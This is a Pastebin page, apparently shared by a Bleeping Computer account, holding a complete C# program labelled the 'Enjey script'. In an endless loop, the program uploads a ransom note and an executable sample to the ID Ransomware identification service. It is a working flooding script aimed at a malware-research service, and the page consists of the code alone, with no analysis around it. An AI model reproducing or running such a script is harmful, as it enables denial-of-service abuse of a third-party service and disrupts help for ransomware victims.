Advertisement
catalin_bleeping_com

Enjey script

Mar 13th, 2017
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 3.81 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Collections.Specialized;
  4. using System.IO;
  5. using System.Linq;
  6. using System.Net;
  7. using System.Threading.Tasks;
  8. using System.Windows.Forms;
  9.  
  10. namespace Hello_Motherfuckers
  11. {
  12.     static class Program
  13.     {
  14.         /// <summary>
  15.         /// Главная точка входа для приложения. // ENJEY
  16.         /// </summary>
  17.         [STAThread]
  18.         static void Main()
  19.         {
  20.  
  21.                 Start();
  22.  
  23.         }
  24.         static void Start()
  25.         {
  26.             while (true)
  27.             {
  28.                 NameValueCollection nvc = new NameValueCollection();
  29.  
  30.                 HttpUploadFile("https://id-ransomware.malwarehunterteam.com/index.php", "D:\\Hi from enJey.txt", "ransomnote_upload", "file", nvc);
  31.                 HttpUploadFile("https://id-ransomware.malwarehunterteam.com/index.php", "D:\\Hi from enJey.exe", "sample_upload", "file", nvc);
  32.  
  33.             }
  34.         }
  35.  
  36.         public static void HttpUploadFile(string url, string file, string paramName, string contentType, NameValueCollection nvc)
  37.         {
  38.             Console.WriteLine(string.Format("Uploading {0} to {1}", file, url));
  39.             string boundary = "---------------------------" + DateTime.Now.Ticks.ToString("x");
  40.             byte[] boundarybytes = System.Text.Encoding.ASCII.GetBytes("\r\n--" + boundary + "\r\n");
  41.  
  42.             HttpWebRequest wr = (HttpWebRequest)WebRequest.Create(url);
  43.             wr.ContentType = "multipart/form-data; boundary=" + boundary;
  44.             wr.Method = "POST";
  45.             wr.KeepAlive = true;
  46.             wr.Credentials = System.Net.CredentialCache.DefaultCredentials;
  47.  
  48.             Stream rs = wr.GetRequestStream();
  49.  
  50.             string formdataTemplate = "Content-Disposition: form-data; name=\"{0}\"\r\n\r\n{1}";
  51.             foreach (string key in nvc.Keys)
  52.             {
  53.                 rs.Write(boundarybytes, 0, boundarybytes.Length);
  54.                 string formitem = string.Format(formdataTemplate, key, nvc[key]);
  55.                 byte[] formitembytes = System.Text.Encoding.UTF8.GetBytes(formitem);
  56.                 rs.Write(formitembytes, 0, formitembytes.Length);
  57.             }
  58.             rs.Write(boundarybytes, 0, boundarybytes.Length);
  59.  
  60.             string headerTemplate = "Content-Disposition: form-data; name=\"{0}\"; filename=\"{1}\"\r\nContent-Type: {2}\r\n\r\n";
  61.             string header = string.Format(headerTemplate, paramName, file, contentType);
  62.             byte[] headerbytes = System.Text.Encoding.UTF8.GetBytes(header);
  63.             rs.Write(headerbytes, 0, headerbytes.Length);
  64.  
  65.             FileStream fileStream = new FileStream(file, FileMode.Open, FileAccess.Read);
  66.             byte[] buffer = new byte[4096];
  67.             int bytesRead = 0;
  68.             while ((bytesRead = fileStream.Read(buffer, 0, buffer.Length)) != 0)
  69.             {
  70.                 rs.Write(buffer, 0, bytesRead);
  71.             }
  72.             fileStream.Close();
  73.  
  74.             byte[] trailer = System.Text.Encoding.ASCII.GetBytes("\r\n--" + boundary + "--\r\n");
  75.             rs.Write(trailer, 0, trailer.Length);
  76.             rs.Close();
  77.  
  78.             WebResponse wresp = null;
  79.             try
  80.             {
  81.                 wresp = wr.GetResponse();
  82.                 Stream stream2 = wresp.GetResponseStream();
  83.                 StreamReader reader2 = new StreamReader(stream2);
  84.                 Console.WriteLine(string.Format("Send file"));
  85.             }
  86.             catch (Exception ex)
  87.             {
  88.                 Console.WriteLine("Error uploading file", ex);
  89.                 if (wresp != null)
  90.                 {
  91.                     wresp.Close();
  92.                     wresp = null;
  93.                 }
  94.             }
  95.             finally
  96.             {
  97.                 wr = null;
  98.             }
  99.         }
  100.     }
  101. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement